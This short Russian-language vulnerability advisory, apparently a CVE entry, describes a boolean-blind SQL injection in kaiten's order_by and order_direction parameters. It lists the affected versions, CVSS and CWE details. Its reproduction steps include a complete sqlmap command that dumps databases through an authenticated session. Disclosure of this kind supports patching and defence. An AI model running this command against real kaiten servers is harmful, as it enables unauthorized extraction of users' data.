CVE-2026-79303

Boolean-blind SQL-инъекция

Описание: Динамические SQL-запросы формируются без необходимой проверки данных и без использования параметризованных запросов или хранимых процедур.

Воздействие: SQLi

Вектор CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical)

CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Затронутый компонент: GET-параметры order_by и order_direction

Вендор: kaiten

Затронутый продукт

• kaiten версии: 57.192.20 < 57.214.26

Шаги воспроизведения:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. Введите n (не объединять ваш cookie с новым) -> C